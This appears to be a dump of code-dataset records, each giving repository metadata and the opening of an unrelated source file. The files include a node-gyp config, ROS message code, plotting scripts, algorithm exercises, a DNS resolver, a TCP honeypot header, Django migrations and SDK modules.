3f3bf6e43eebbc4bc557d29096041bd38f644295 | 3922557a09e8573a10328513d25c551365916b36 | /node_modules/socket.io/node_modules/socket.io-client/node_modules/ws/build/config.gypi | 55677338992d2b1cea185bf970f72d860d53170d | [
"MIT"
] | permissive | justintime170/nodeserv-test | f6b287f372f5859a78051a7f6e77ab441047bb7f | 96e435fa9682303cc9cf07fbafdb55f37d68b08d | refs/heads/master | 2016-09-05T23:46:03.891240 | 2014-08-21T07:30:13 | 2014-08-21T07:30:13 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 2,685 | gypi | # Do not edit. File was generated by node-gyp's "configure" step
{
"target_defaults": {
"cflags": [],
"default_configuration": "Release",
"defines": [],
"include_dirs": [],
"libraries": []
},
"variables": {
"clang": 0,
"gcc_version": 44,
"host_arch": "x64",
"node_install_npm": ... | [
"root@raspberrypi.(none)"
] | root@raspberrypi.(none) |
d0bf18c817e4f7f237487482234c057de31e6941 | 73189d4d0b39efe5864d25aff07d8338ab8f3110 | /devel/lib/python2.7/dist-packages/tf2_msgs/msg/_LookupTransformFeedback.py | 83b908a2db3ccc30e8952c4719a78f5af29e7c94 | [] | no_license | jungwoohan72/Multi_Robot_Search_And_Rescue | a64590a0f899682c2429400c5cb6d4d8a7d7fd99 | 3e70f9e9b895a96e045f19a05780b091c16f2e60 | refs/heads/main | 2023-07-06T14:03:58.980624 | 2021-08-01T05:15:02 | 2021-08-01T05:15:02 | 379,856,303 | 4 | 0 | null | null | null | null | UTF-8 | Python | false | false | 3,171 | py | # This Python file uses the following encoding: utf-8
"""autogenerated by genpy from tf2_msgs/LookupTransformFeedback.msg. Do not edit."""
import codecs
import sys
python3 = True if sys.hexversion > 0x03000000 else False
import genpy
import struct
class LookupTransformFeedback(genpy.Message):
_md5sum = "d41d8cd98f0... | [
"dream4future@kaist.ac.kr"
] | dream4future@kaist.ac.kr |
c33136cba8c462e8266f910e5907785846fdc01e | 9c368c9fe78a2dd186daeed2d0714651c1c27d66 | /absorption/ml_project/analyse_spectra/plot_Nweighted_deltaTZ_leg.py | 05d0118c919d27b69595a6456dfdb4603b50129e | [] | no_license | sarahappleby/cgm | 5ff2121919e36b10069692f71fb1dc03f3678462 | 656bf308771dd3ff2f8c2e77107cdc14507c7ce7 | refs/heads/master | 2023-01-24T03:10:01.610418 | 2023-01-20T11:04:31 | 2023-01-20T11:04:31 | 160,820,718 | 2 | 0 | null | null | null | null | UTF-8 | Python | false | false | 6,422 | py | import matplotlib.pyplot as plt
from matplotlib import cm
from matplotlib.ticker import AutoMinorLocator
import numpy as np
import h5py
import pygad as pg
import sys
plt.rc('text', usetex=True)
plt.rc('font', family='serif', size=15)
if __name__ == '__main__':
model = sys.argv[1]
wind = sys.argv[2]
snap ... | [
"sarahappleby20@gmail.com"
] | sarahappleby20@gmail.com |
80e40972cefad943c6a440d4cdb5f832a4e262f0 | 152fc8d9722e9811c0f15f26acf7cd1f82849b2a | /Facebook/move_zeros.py | 163329db6cd3f9cbf7a56edfbae5b805e5f38c2e | [] | no_license | uoojin1/algo_study | 5942bc2ea9f2a752b36db296b42e1636a43c1553 | c5078b377105f092668b594b0d7a297c4422b4a1 | refs/heads/master | 2020-04-13T17:38:05.429046 | 2019-02-07T02:32:24 | 2019-02-07T02:32:24 | 163,352,673 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 718 | py | ''' move zeros
input: [0,1,0,3,12]
output: [1,3,12,0,0]
1. do this in place, w/o making a copy of the array
2. minimize the number of operations
'''
'''
[0, 1, 0, 3, 12]
^
so basically have a pointer that points to where I should put the next non zero element to
after iterating through the entire array, I sho... | [
"uoojin95@gmail.com"
] | uoojin95@gmail.com |
08c1931fd532b86ad3326a6391b1de86663e1372 | 64f81cfd4e588c1b6ead8481b2e35196c2149413 | /obtaining3.58/obtaining_dns_client/resolving_domain_dns/resolving_domain_ns_by_tld2.py | fa5f9e6680c8e0d71df28c3f6b8e606ab86dbbb7 | [] | no_license | JX-Wang/Valid_DNS_verification | b1d7afb14fef78a30d1c21dffe6cf1ce4c5e2dbf | aecf68ca587022449c80b54ec53b43d9ec8dd8f0 | refs/heads/master | 2020-07-28T19:03:16.759597 | 2019-09-19T08:43:30 | 2019-09-19T08:43:30 | 209,502,842 | 1 | 0 | null | null | null | null | UTF-8 | Python | false | false | 5,858 | py | #encoding:utf-8
"""
通过向各个层次的权威NS地址查询,获取域名的NS记录。
可以配置为在线和离线查询
目前只支持域名是主域名
"""
import dns
import random
import dns.name
import dns.query
import dns.resolver
def get_authoritative_nameserver(domain, offline=False, tld_server = None, default_dns = None, retry_times=1):
"""
通过向各个权威NS发送查询请求,获取域名的NS记录
:param do... | [
"1411349759@qq.com"
] | 1411349759@qq.com |
523d5763c3761db28717450f17064f87a208f479 | 24df103bec759d7052cbb2c4d7cf3407986d9371 | /tcp-honeypot.py | 889eb33c6597ed7ca0c50b22e5b3ce916127cb27 | [] | no_license | ntung/Beta | ef9b3f8036b14bcd481dc0a4662ea1e8a12dee2a | 3c864fe0c5bd4ed80dac030db6d22b16006754d7 | refs/heads/master | 2020-06-11T19:05:36.523562 | 2019-05-31T16:36:16 | 2019-05-31T16:36:16 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 24,438 | py | #!/usr/bin/env python
__description__ = 'TCP honeypot'
__author__ = 'Didier Stevens'
__version__ = '0.0.5'
__date__ = '2019/05/30'
"""
Source code put in public domain by Didier Stevens, no Copyright
https://DidierStevens.com
Use at your own risk
History:
2018/03/08: start
2018/03/09: continue
2018/03/17: cont... | [
"didier.stevens@gmail.com"
] | didier.stevens@gmail.com |
613442e4334b7b1c405168b18116068806fdff41 | c86cb4e5e036a4a591acb8683c9e7023b657fdfe | /breathecode/admissions/migrations/0006_auto_20200703_1951.py | a4d6b94f4dc09df601bd0054def34615ce51c921 | [] | no_license | Joshfishman97/apiv2 | 0fe6c01cb63fafcbaf772ea2fee4b549694d3abf | aee21638748caf7abbd7543bcde95ef74e0bbb7c | refs/heads/master | 2023-08-29T09:21:51.635903 | 2021-10-11T19:52:40 | 2021-10-11T19:52:40 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 518 | py | # Generated by Django 3.0.7 on 2020-07-03 19:51
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
('admissions', '0005_auto_20200703_1752'),
]
operations = [
migrations.RemoveField(
model_name='cohort',
name='online_... | [
"aalejo@gmail.com"
] | aalejo@gmail.com |
38429a573b65366bc1e423cace706d35a5c44f7e | b806f99e96dc6782e5983fa1e3e0df5957cee122 | /src/asiopal/TLSConfig.h | 90550300caabce45b51257e55711e58b8b01cfcd | [
"Apache-2.0"
] | permissive | garretfick/pydnp3 | db1b29e7b1416a102abceaa322a3f9da1336fa55 | 54f7e791bf86a5122e8b734e9d8d64882796cadc | refs/heads/master | 2023-04-06T08:33:59.335065 | 2019-11-30T02:08:45 | 2019-11-30T02:08:45 | 174,612,654 | 4 | 1 | Apache-2.0 | 2023-03-27T09:39:27 | 2019-03-08T21:31:10 | Python | UTF-8 | Python | false | false | 4,996 | h | /*
* -*- coding: utf-8 -*- {{{
* vim: set fenc=utf-8 ft=python sw=4 ts=4 sts=4 et:
*
* Copyright 2018, Kisensum.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apach... | [
"anhhng141@gmail.com"
] | anhhng141@gmail.com |
7a775527cc467edc8a9e6c6269de9ab5c023c3e2 | 23611933f0faba84fc82a1bc0a85d97cf45aba99 | /google-cloud-sdk/.install/.backup/lib/googlecloudsdk/core/exceptions.py | f84acc69f0dc89dfaf69055e8503fad1847a0204 | [
"LicenseRef-scancode-unknown-license-reference",
"Apache-2.0"
] | permissive | KaranToor/MA450 | 1f112d1caccebdc04702a77d5a6cee867c15f75c | c98b58aeb0994e011df960163541e9379ae7ea06 | refs/heads/master | 2021-06-21T06:17:42.585908 | 2020-12-24T00:36:28 | 2020-12-24T00:36:28 | 79,285,433 | 1 | 1 | Apache-2.0 | 2020-12-24T00:38:09 | 2017-01-18T00:05:44 | Python | UTF-8 | Python | false | false | 3,353 | py | # Copyright 2014 Google Inc. All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or ag... | [
"toork@uw.edu"
] | toork@uw.edu |
132d3a611c7577d20741d725a2e5be24f6cd955a | 5a52ccea88f90dd4f1acc2819997fce0dd5ffb7d | /alipay/aop/api/domain/AnttechBlockchainSignIndexCreateModel.py | b024cf20674b77a37b1eb383bfa79e53e90aa35b | [
"Apache-2.0"
] | permissive | alipay/alipay-sdk-python-all | 8bd20882852ffeb70a6e929038bf88ff1d1eff1c | 1fad300587c9e7e099747305ba9077d4cd7afde9 | refs/heads/master | 2023-08-27T21:35:01.778771 | 2023-08-23T07:12:26 | 2023-08-23T07:12:26 | 133,338,689 | 247 | 70 | Apache-2.0 | 2023-04-25T04:54:02 | 2018-05-14T09:40:54 | Python | UTF-8 | Python | false | false | 6,540 | py | #!/usr/bin/env python
# -*- coding: utf-8 -*-
import json
from alipay.aop.api.constant.ParamConstants import *
class AnttechBlockchainSignIndexCreateModel(object):
def __init__(self):
self._app_name = None
self._biz_corp = None
self._biz_from = None
self._biz_scene = None
... | [
"jishupei.jsp@alibaba-inc.com"
] | jishupei.jsp@alibaba-inc.com |
9becd149112233943b28b41f338400549756c333 | d3720c1848fb69a05121fcd378a12a6d1921f303 | /4_LEETCODE/2_DP/背包问题/2_完全背包.py | 35b58da0a6cc62245ebacf6c4ba97c14a70f2b33 | [] | no_license | fzingithub/SwordRefers2Offer | 32a44e87c178bafc554108f1d1e479e18b0ee028 | 57f303aa6e76f7c5292fa60bffdfddcb4ff9ddfb | refs/heads/master | 2023-04-08T09:35:02.082121 | 2023-03-28T00:06:00 | 2023-03-28T00:06:00 | 219,700,616 | 1 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,412 | py | '''
f[i][j] 前i个物品,体积为j的背包,理论上的最大价值。
f[0][0] = 0
res = max{f[N]}
f[i][j] = max{f[i-1_最短回文串.py][j], f[i-1_最短回文串.py][j-k*v[i]] + k*w[i]}
'''
N, V = map(int, input().split())
v = [0] * (N + 1)
w = [0] * (N + 1)
for i in range(1, N + 1):
v[i], w[i] = map(int, input().split())
# print(N,V)
# print(v,w)
# f = [[... | [
"35060424+fzingithub@users.noreply.github.com"
] | 35060424+fzingithub@users.noreply.github.com |
5e45adf16188acbf28a383b77c22d5cfe2685e61 | 0f0fa5a3086649a32ede3722ca14b598948f35e0 | /setup.py | 551e361538f8b43b270ed51115caee7d37d43ba1 | [] | no_license | marazmiki/django-mptt-admin | cf6b3648e3898233f99e2c2861f8254f61307e1a | 125908b87066e957051f36fed6d60a3088f12cdb | refs/heads/master | 2021-01-22T00:51:21.576551 | 2011-10-11T17:53:54 | 2011-10-11T17:53:54 | 2,557,013 | 2 | 0 | null | null | null | null | UTF-8 | Python | false | false | 889 | py | #!/usr/bin/env python
from setuptools import setup, find_packages
setup(
name = 'mpttadmin',
version = '0.3.1',
author = 'Mikhail Sakhno',
author_email = 'pawn13@gmail.com',
description = """jstree admin for mptt models""",
license = "BSD",
keywords = "django admin",
platforms = "POSIX... | [
"marazmiki@gmail.com"
] | marazmiki@gmail.com |
4f9c8082760b3d5d3170e070cda411b8e7983824 | d445cb91195bd60a695cb0ec2eefa5303c200443 | /sequana/modules_report/cutadapt.py | 4cbe41064cdb5c2ce6cb5bbc04da981cd980e385 | [
"BSD-3-Clause"
] | permissive | aditkashy/sequana | 3606f28cebdd299f864ab2379c58f8133b7ff76c | 3c9917368fb7c4de63dcd5416c874b682ee2b20d | refs/heads/master | 2020-08-05T03:22:27.439165 | 2019-06-27T15:14:09 | 2019-06-27T15:14:09 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 19,713 | py | # coding: utf-8
#
# This file is part of Sequana software
#
# Copyright (c) 2016 - Sequana Development Team
#
# File author(s):
# Thomas Cokelaer <thomas.cokelaer@pasteur.fr>
# Dimitri Desvillechabrol <dimitri.desvillechabrol@pasteur.fr>,
# <d.desvillechabrol@gmail.com>
#
# Distributed under the ... | [
"cokelaer@gmail.com"
] | cokelaer@gmail.com |
d784039fbf29070d60585c62c411d71fd3bbbec9 | 943dca755b940493a8452223cfe5daa2fb4908eb | /abc303/a.py | 252013eff15c913bcc6984509b0f36ea3d48e9cc | [] | no_license | ymsk-sky/atcoder | 5e34556582763b7095a5f3a7bae18cbe5b2696b2 | 36d7841b70b521bee853cdd6d670f8e283d83e8d | refs/heads/master | 2023-08-20T01:34:16.323870 | 2023-08-13T04:49:12 | 2023-08-13T04:49:12 | 254,348,518 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 256 | py | n = int(input())
s = input()
t = input()
for i in range(n):
if s[i] == t[i]:
continue
if (s[i] in "l1") and (t[i] in "l1"):
continue
if (s[i] in "o0") and (t[i] in "o0"):
continue
print("No")
exit()
print("Yes")
| [
"ymsk.sky.95@gmail.com"
] | ymsk.sky.95@gmail.com |
31fe857b5336046fc4b93282f053a38847cfe0bf | 786027545626c24486753351d6e19093b261cd7d | /ghidra9.2.1_pyi/ghidra/program/model/listing/Bookmark.pyi | daf5c68be46b4922037f73b7817afe92f2eb5835 | [
"MIT"
] | permissive | kohnakagawa/ghidra_scripts | 51cede1874ef2b1fed901b802316449b4bf25661 | 5afed1234a7266c0624ec445133280993077c376 | refs/heads/main | 2023-03-25T08:25:16.842142 | 2021-03-18T13:31:40 | 2021-03-18T13:31:40 | 338,577,905 | 14 | 1 | null | null | null | null | UTF-8 | Python | false | false | 2,124 | pyi | import ghidra.program.model.address
import ghidra.program.model.listing
import java.lang
class Bookmark(java.lang.Comparable, object):
"""
Interface for bookmarks. Bookmarks are locations that are marked within the program so
that they can be easily found.
"""
def compareTo(self, __a0: ... | [
"tsunekou1019@gmail.com"
] | tsunekou1019@gmail.com |
475b498730558cf3635706a19a5fa90410feb142 | 5e8a936891f0687a28425cef248a49480511119d | /pydl/photoop/sdssio/sdssflux2ab.py | 47c8f6487d8d12f42405f6e9f4201e85ccf8ddba | [
"BSD-3-Clause"
] | permissive | bsipocz/pydl | 426a4cdae003b8c4e86249ec36005925d8ffa341 | f8719699c71806f9b55dd41f843e5f35c64c770b | refs/heads/master | 2020-12-07T15:43:01.554352 | 2015-09-24T03:15:14 | 2015-09-24T03:15:14 | 45,721,009 | 0 | 0 | null | 2015-11-07T03:30:30 | 2015-11-07T03:30:29 | null | UTF-8 | Python | false | false | 1,515 | py | # Licensed under a 3-clause BSD style license - see LICENSE.rst
# -*- coding: utf-8 -*-
def sdssflux2ab(flux,magnitude=False,ivar=False):
"""Convert the SDSS calibrated fluxes (magnitudes) into AB fluxes (magnitudes)
Parameters
----------
flux : :class:`numpy.ndarray`
Array of calibrated fluxes... | [
"benjamin.weaver@nyu.edu"
] | benjamin.weaver@nyu.edu |
2029faea3ce5dd5bad299577b11c46950ad7913a | 9ddee35a496f1b99d4f9b634711d30ad9f05a2fa | /case/httpdns/1070.py | 7e2515e5721ac05c0e0485a9afdee9851e57738d | [] | no_license | namesuqi/pirate | 79824f231990030bdce9e092b300bb58d4ba0024 | 9308fbfa021f1238c2bd6faeb7d82c2934570140 | refs/heads/master | 2020-03-07T04:19:07.041355 | 2018-03-29T08:44:29 | 2018-03-29T08:44:29 | 127,263,075 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 2,818 | py | #!/usr/bin/env python
# coding=utf-8
# author: zengyuetian
from libs.database.etcd_handler import *
if __name__ == "__main__":
# 需要根据当前实际配置修改
ttl_conf_old = {"report.crazycdn.com": {"ips": {"default": ["47.104.178.217"]}, "ttl": 1800},
"channel.crazycdn.com": {"ips": {"default": ["47.104.178.... | [
"suqi_name@163.com"
] | suqi_name@163.com |
0f4cf276661a0de3bf63c88b9d994d2d5f69c7d8 | 4b8724ec7bb224ff942264384dd7cb9c96676789 | /car_project/apps/car_app/apps.py | 5918e5de83ee63f6642071520899f8fe9ebc0126 | [] | no_license | JeffLawrence1/Python-Django-Advanced | b4822528bbaa5a235817121b32407c11408d8932 | b41018d907f06aeb7ca05f1f4b030eedf58471e7 | refs/heads/master | 2020-03-09T07:59:11.954262 | 2018-04-08T20:15:45 | 2018-04-08T20:15:45 | 128,678,232 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 153 | py | # -*- coding: utf-8 -*-
from __future__ import unicode_literals
from django.apps import AppConfig
class CarAppConfig(AppConfig):
name = 'car_app'
| [
"jefflaw13@hotmail.com"
] | jefflaw13@hotmail.com |
135cfce1a38a80aef2ddbb1e9113a1026fd178bc | b4af2cf7457ab6fe8e5b31cdc8bfcbb0081238f3 | /test/test_application/test_vo_service.py | 34998a707ae04be2b8436b46e27fceed839230b9 | [
"MIT"
] | permissive | osthafen/spruned | aa13fe8568efe17877c5971ea785d0c0decc619b | 2094fd66fd590bd1487fbb284ce5c6e979986a90 | refs/heads/master | 2020-03-27T22:41:24.699583 | 2018-09-03T20:52:08 | 2018-09-03T20:52:08 | 147,252,407 | 0 | 1 | null | null | null | null | UTF-8 | Python | false | false | 21,857 | py |
import asyncio
import io
import json
import unittest
from unittest.mock import Mock, create_autospec
import binascii
from pycoin.block import Block
from spruned import settings
from spruned.application.cache import CacheAgent
from spruned.application.exceptions import ServiceException, InvalidPOWException
from spru... | [
"guido.dassori@gmail.com"
] | guido.dassori@gmail.com |
82c22ab3f3403a1a2baf72e25753d76f9ac0fb61 | 761b013bc7cd98850f3f26e3f0b0a8e4ec8fdf7d | /arm.py | 833bd4af8bd165347ac2ea8e3bc4affa52299173 | [] | no_license | tjmode/placement | 72e6bca120cb785cac3fc829d84b921af8add01a | ac5af6394e74212bf44510af837a144254ca2f99 | refs/heads/master | 2020-04-15T16:36:03.489076 | 2019-07-31T06:14:51 | 2019-07-31T06:14:51 | 164,842,584 | 2 | 1 | null | null | null | null | UTF-8 | Python | false | false | 189 | py | num = int(input())
order = len(str(num))
sum = 0
temp = num
while temp > 0:
digit = temp % 10
sum += digit ** order
temp //= 10
if num == sum:
print("yes")
else:
print("no")
| [
"noreply@github.com"
] | tjmode.noreply@github.com |
f0e6d7d0c53802aa01ca3c267ba04ebe3f7bb546 | 99c4d4a6592fded0e8e59652484ab226ac0bd38c | /code/batch-1/vse-naloge-brez-testov/DN7-M-182.py | 4b4ce11c5808c697cbb1e47ed4e9be02e9751e48 | [] | no_license | benquick123/code-profiling | 23e9aa5aecb91753e2f1fecdc3f6d62049a990d5 | 0d496d649247776d121683d10019ec2a7cba574c | refs/heads/master | 2021-10-08T02:53:50.107036 | 2018-12-06T22:56:38 | 2018-12-06T22:56:38 | 126,011,752 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 6,845 | py | # To funkcijo prijazno podarjam vsem, ki bodo programirali v eni vrstici. :)
# Kako jo uporabiti, je v navodilih. Kdor je ne potrebuje, naj jo ignorira.
def vsa_polja(s, v):
"""
Generiraj vse koordinate (x, y) za polje s podano širino in višino
Args:
s (int): širina
v (int): višina
Retu... | [
"lenart.motnikar@gmail.com"
] | lenart.motnikar@gmail.com |
a63c062cdb9013fbce1c5eaec2a18d8d71f46f16 | 220dd5d666b85b716d5762097fb2d320bb8587fd | /test/int/kth_largest.py | 0deb333531b86715608b4220b28bf4dfb7edd0fa | [] | no_license | bensenberner/ctci | 011946a335396def198acaa596d2b5902af7b993 | 1e1ba64580ee96392c92aa95904c4751e32d4e30 | refs/heads/master | 2021-01-10T14:09:01.698323 | 2020-09-06T04:17:53 | 2020-09-06T04:17:53 | 45,659,115 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 345 | py | import unittest
from int.kth_largest import kth_largest
class Test(unittest.TestCase):
def test(self):
arr = [7, 5, 2, 7, 1, 8, 3]
self.assertEqual(5, kth_largest(arr, 4))
def test_simple(self):
arr = [3, 2, 1]
self.assertEqual(3, kth_largest(arr, 1))
self.assertEqual... | [
"benlerner95@gmail.com"
] | benlerner95@gmail.com |
9c9fec3a233bcb7fb1af897298b1c336ccdc7b53 | f6c103bd11b6a7fe92a2fc48562a06c87a60ac51 | /lard/data.py | e20f63ae7dd15b080427aa653f9a03ea5b66aa0e | [] | no_license | brettviren/lard | d17405ab2df1e8f8ef22a2706f0dcad3fe5b06e7 | 429d71c9912b62f47d18e25c5063eb66d36f6d93 | refs/heads/master | 2021-01-10T14:21:59.327286 | 2015-05-25T02:59:01 | 2015-05-25T02:59:01 | 36,177,192 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,255 | py | #!/usr/bin/env python
'''The lard data model.
The objects in this module make up an internal, transient data schema.
Modules under lard.adapters produce this data model and modules under
lard.renderers accept it to produce some end form.
'''
from collections import namedtuple
ScalarPoint = namedtuple('ScalarPoint'... | [
"brett.viren@gmail.com"
] | brett.viren@gmail.com |
3af9d7000fa029acf9ab00357f727462d5bb3e49 | 0be8bd02d3b93d89eba2174313c1599e1993589d | /businessmanager/app/operational/admin/frontend.py | c0a79f0155dabc50606f5b86b05001324769593a | [
"MIT"
] | permissive | Mr82/marketplace | ac1b5e83dbd759965b4ea2d244b80987da747794 | edc55e3e622656a6b6e72ecc1b88b900e05994f3 | refs/heads/master | 2022-12-11T12:32:02.463053 | 2020-09-18T09:14:44 | 2020-09-18T09:14:44 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 8,618 | py | from datetime import datetime
from flask import Blueprint, render_template, redirect, url_for, flash, abort, request
from flask_login import login_required, current_user
import commonmark
from app import db
from app.decorators import admin_required
from app.models import EditableHTML, Role, User, Organisation, Message,... | [
"aniekanokono@gmail.com"
] | aniekanokono@gmail.com |
8a65e97c3ab254c2ee98390b1357635b7e212d35 | d768f07ed90c0274e2d9d935eaf5ecfe734a1f56 | /fit_mcmc_ps.py | 2f483e28f42d7cbdab267fa0e28c4998c1cd56ba | [] | no_license | bvillasen/simulation_analysis | cfd0b5de865d2fb5992d828b2824079e6798774b | 645f0c397172ed30a713368942eec9ca68a9761a | refs/heads/master | 2023-06-02T19:06:39.851760 | 2021-06-25T18:40:58 | 2021-06-25T18:40:58 | 298,894,454 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 4,117 | py | import os, sys
import numpy as np
import pickle
import matplotlib.pyplot as plt
sys.path.append('tools')
from tools import *
#Append analysis directories to path
extend_path()
from parameters_UVB_rates import param_UVB_Rates
from simulation_grid import Simulation_Grid
from simulation_parameters import *
from mcmc_funct... | [
"bvillasen@gmail.com"
] | bvillasen@gmail.com |
da37392ae50890a6cbecaf0cfad0d4d00faaf40f | d6c66cea8c8a91681c2c913f663c2d3ea5d73f0c | /0. Introduction/copyspecial/copyspecial.py | bfe916fef6a1405d9a91d828836e8660b2a43ad1 | [] | no_license | drewlinsley/CLPS1950_assignments | 28cc578cd981b417078a14af0fd362801a805a72 | 10f1df11d8270b0865ad03eb02e36e7b2f010159 | refs/heads/master | 2020-03-28T03:51:11.884643 | 2018-09-06T13:14:02 | 2018-09-06T13:14:02 | 147,675,900 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,278 | py | #!/usr/bin/python
# Copyright 2010 Google Inc.
# Licensed under the Apache License, Version 2.0
# http://www.apache.org/licenses/LICENSE-2.0
# Google's Python Class
# https://developers.google.com/edu/python/exercises/copy-special
import sys
import re
import os
import shutil
import commands
"""Copy Special exercise
... | [
"drewlinsley@gmail.com"
] | drewlinsley@gmail.com |
81035d4ccc746d19a13221ac8581635b6ffb7cda | ba66da3901361854b9bb621586f1e49ad0121ee0 | /正式开班/第十三天/网络编程/deepin_test.py | 9fb856a8503ceb648ae75190f86d2fa1bd0780e4 | [] | no_license | luobodage/PythonBasis | c4739920055afbda03774d90151ab183a83583f8 | ea65536e759fec221a70d7647ae86120277d5459 | refs/heads/master | 2023-05-14T15:51:56.213282 | 2021-05-31T00:57:56 | 2021-05-31T00:57:56 | 322,145,745 | 3 | 1 | null | null | null | null | UTF-8 | Python | false | false | 300 | py | import socket
def main():
# while True:
ip_addrs = ('192.168.56.1', 8899)
udp = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
cotent = input('请输入您要发送的内容:')
udp.sendto(cotent.encode('gbk'), ip_addrs)
udp.close()
if __name__ == '__main__':
main()
| [
"fuyu16032001@gmail.com"
] | fuyu16032001@gmail.com |
17f14936cb5142adcf736ab599ebe5d21785778c | 6a95112805b64322953429270a305d01fef3faea | /dist/weewx-4.6.2/bin/weewx/__init__.py | 57b8d45778a75f501f7d386c6d2692212d3bb389 | [
"GPL-1.0-or-later",
"GPL-3.0-only",
"Apache-2.0"
] | permissive | tomdotorg/docker-weewx | c6d59dc492a9e53f3bc898f7b9f593717092d72c | 7085654f455d39b06acc688738fde27e1f78ad1e | refs/heads/main | 2023-06-08T17:57:44.184399 | 2023-01-30T11:21:23 | 2023-01-30T11:21:23 | 54,113,384 | 21 | 16 | Apache-2.0 | 2022-10-19T23:46:26 | 2016-03-17T11:39:29 | Dockerfile | UTF-8 | Python | false | false | 5,375 | py | #
# Copyright (c) 2009-2021 Tom Keffer <tkeffer@gmail.com>
#
# See the file LICENSE.txt for your full rights.
#
"""Package weewx, containing modules specific to the weewx runtime engine."""
from __future__ import absolute_import
import time
__version__="4.6.2"
# Holds the program launch time in unix epoch secon... | [
"tom@tom.org"
] | tom@tom.org |
dceefecc0bbc05158cdf9888075288b412680302 | a7b175357e1ed29dc8332a950e320e64f5db6703 | /venv/Lib/site-packages/wx/py/PyShell.py | c42152a96a555923eeaae65935079cb89adcf6cc | [
"MIT",
"LicenseRef-scancode-warranty-disclaimer"
] | permissive | saleguas/deskOrg | f65b8603464dbb0e17363ca8a724c12d45da8116 | c21d9abf56e1756fa8073ccc3547ec9a85d83e2a | refs/heads/master | 2022-12-13T18:06:33.029636 | 2020-04-05T20:19:56 | 2020-04-05T20:19:56 | 164,255,371 | 3 | 1 | MIT | 2022-12-08T01:42:51 | 2019-01-05T22:15:27 | Python | UTF-8 | Python | false | false | 2,201 | py | #!/usr/bin/env python
"""PyShell is a python shell application."""
# The next two lines, and the other code below that makes use of
# ``__main__`` and ``original``, serve the purpose of cleaning up the
# main namespace to look as much as possible like the regular Python
# shell environment.
import __main__
original = ... | [
"salvadoraleguas@gmail.com"
] | salvadoraleguas@gmail.com |
406e36bcff2429592f817d0372069bb75415b0aa | ba7c4862dfbc9d0469f389c0cdb3fed01f99ebe3 | /plotting/threeD_round3.py | 3fb154b6f963dffcfabc6254d6d1fefc940621cf | [] | no_license | cmontalvo251/Python | 293cbdf8832d7637d5c0b31eadd02d3ccf2f2c05 | 2b12ce043ee41e08537cfb62301c6a55d4661e04 | refs/heads/master | 2023-06-22T21:50:21.225067 | 2023-06-14T13:42:16 | 2023-06-14T13:42:16 | 229,313,158 | 8 | 3 | null | 2021-07-31T16:01:54 | 2019-12-20T18:03:52 | Python | UTF-8 | Python | false | false | 2,738 | py | # Import data
import time
import numpy as np
import plotly.graph_objects as go
def frame_args(duration):
return {"frame": {"duration": duration},
"mode": "immediate",
"fromcurrent": True,
"transition": {"duration": duration, "easing": "linear"},
}
# Generate curve d... | [
"cmontalvo@southalabama.edu"
] | cmontalvo@southalabama.edu |
860b34a29b05c457ba52d4db8cddb722d4684c96 | ba7c4862dfbc9d0469f389c0cdb3fed01f99ebe3 | /controls/bode/lead_lag_compensation.py | d939d88fe4fb919bdb196d213749e47cd1052ba7 | [] | no_license | cmontalvo251/Python | 293cbdf8832d7637d5c0b31eadd02d3ccf2f2c05 | 2b12ce043ee41e08537cfb62301c6a55d4661e04 | refs/heads/master | 2023-06-22T21:50:21.225067 | 2023-06-14T13:42:16 | 2023-06-14T13:42:16 | 229,313,158 | 8 | 3 | null | 2021-07-31T16:01:54 | 2019-12-20T18:03:52 | Python | UTF-8 | Python | false | false | 314 | py | import control as ctl
import numpy as np
import matplotlib.pyplot as plt
plt.close("all")
g= 9.81
L = 2.0
wn = np.sqrt(g/L)
G = ctl.tf([1],[1,0,wn**2])
print(G)
C = ctl.tf([1,1],[1,100])
print(C)
ctl.bode(C*G,dB=True)
plt.grid()
`gm,pm,wg,wp = ctl.margin(C*G)
print(gm,pm,wg,wp)
ctl.rlocus(C*G)
plt.show()
| [
"cmontalvo@southalabama.edu"
] | cmontalvo@southalabama.edu |
e57fbf4a5c2ba63f9063c9c5e88e364270db2ecb | 1d928c3f90d4a0a9a3919a804597aa0a4aab19a3 | /python/core/2016/8/test_device_sun_light_trigger.py | 88c0bae60ec02bf1f88b3d8c7d9fb1e9ee41e430 | [] | no_license | rosoareslv/SED99 | d8b2ff5811e7f0ffc59be066a5a0349a92cbb845 | a062c118f12b93172e31e8ca115ce3f871b64461 | refs/heads/main | 2023-02-22T21:59:02.703005 | 2021-01-28T19:40:51 | 2021-01-28T19:40:51 | 306,497,459 | 1 | 1 | null | 2020-11-24T20:56:18 | 2020-10-23T01:18:07 | null | UTF-8 | Python | false | false | 3,997 | py | """The tests device sun light trigger component."""
# pylint: disable=too-many-public-methods,protected-access
import os
import unittest
import homeassistant.loader as loader
from homeassistant.const import CONF_PLATFORM, STATE_HOME, STATE_NOT_HOME
from homeassistant.components import (
device_tracker, light, sun,... | [
"rodrigosoaresilva@gmail.com"
] | rodrigosoaresilva@gmail.com |
69982d63985cd4d63ce892aefb685f295fde5def | 892c7bd301eeadf57b546f039faf499448112ddc | /organizacion/migrations/0003_auto_20160803_2128.py | bd7797b580ff3d4c5a0737d23d02286217f6d4cc | [
"MIT"
